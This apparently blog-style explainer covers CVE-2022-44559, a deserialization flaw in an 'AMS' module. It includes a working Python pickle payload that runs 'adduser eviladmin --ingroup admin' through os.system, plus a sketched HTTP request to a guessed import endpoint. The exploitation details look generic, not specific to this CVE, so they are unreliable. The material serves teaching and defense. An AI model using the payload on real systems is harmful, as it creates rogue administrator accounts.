In late 2022, a significant security vulnerability—CVE-2022-44559—was identified in the AMS (Application Management Service) module. This flaw is rooted in a classic, yet dangerous, serialization/deserialization mismatch, allowing attackers to escalate their privileges if exploited successfully.

This post will break down what CVE-2022-44559 is, why it is important, how it can be exploited, and the steps you can take to protect your system. We will include code snippets for demonstration, practical examples, and relevant links for deeper reading.

What is CVE-2022-44559?

CVE-2022-44559 is a vulnerability caused by improper serialization and deserialization handling in the AMS module. Specifically, the code fails to properly control deserialized input, which might allow attackers to inject crafted objects, leading to privilege escalation.

Impact: Privilege escalation, full system compromise

Official CVE entry:  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-44559


## The Serialization/Deserialization Mismatch

Serialization refers to turning an object into a data format for storage or transmission. Deserialization is the opposite—it reconstitutes the object from the serialized data.

When a system trusts serialized input blindly, an attacker can craft unexpected inputs that, when deserialized, cause the system to behave in dangerous ways. If the deserialization process expects one format, but the serialized input is different or malicious, it can trigger unexpected code execution.

Here’s a simplified pseudocode example commonly seen in vulnerable modules

import pickle

def receive_data(serialized_input):
    obj = pickle.loads(serialized_input)
    process_object(obj)

The pickle module in Python can execute arbitrary code during deserialization, making it unsafe for untrusted input.

Exploiting the Vulnerability

An attacker might send a malicious serialized payload that, once deserialized, creates a new account with extra privileges or escalates the privileges of an existing account.

import os
import pickle

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('adduser eviladmin --ingroup admin',))

# Serialize the malicious object
payload = pickle.dumps(Exploit())

If the AMS module deserializes payload like in the earlier code, the attack launches a system command, creating a new administrator user.

Attacker Crafts Malicious Payload: The payload is built to exploit the deserialization mismatch.

2. Payload Sent to AMS Endpoint: The attacker submits the crafted payload to the vulnerable API endpoint in the AMS module.

Deserialization Occurs: The AMS module deserializes the payload without proper validation.

4. Privilege Escalation Triggers: The attacker's code runs during deserialization, adding their account to privileged groups or executing arbitrary commands.

A real payload might look like this in an HTTP request

POST /ams/api/import
Content-Type: application/octet-stream

<malicious serialized data>

If proper input filtering or type checking isn’t used, this triggers the exploit.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2022-44559  
2. Vulnerability blog post: https://honeypot.net/blog/ams-serialization-vuln-cve-2022-44559  
3. OWASP Serialization Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html

Summary

CVE-2022-44559 is a textbook example of why deserialization vulnerabilities are so dangerous. By allowing attackers to send carefully crafted payloads, systems lacking proper validation become sitting ducks for privilege escalation. The take-home lesson? Always validate inputs and avoid unserializing data from untrusted sources.

Be sure to read the official advisory and upgrade as soon as possible. If you’d like a deeper dive, see the OWASP cheat sheet.

Timeline

Published on: 11/09/2022 21:15:00 UTC
Last modified on: 11/14/2022 19:09:00 UTC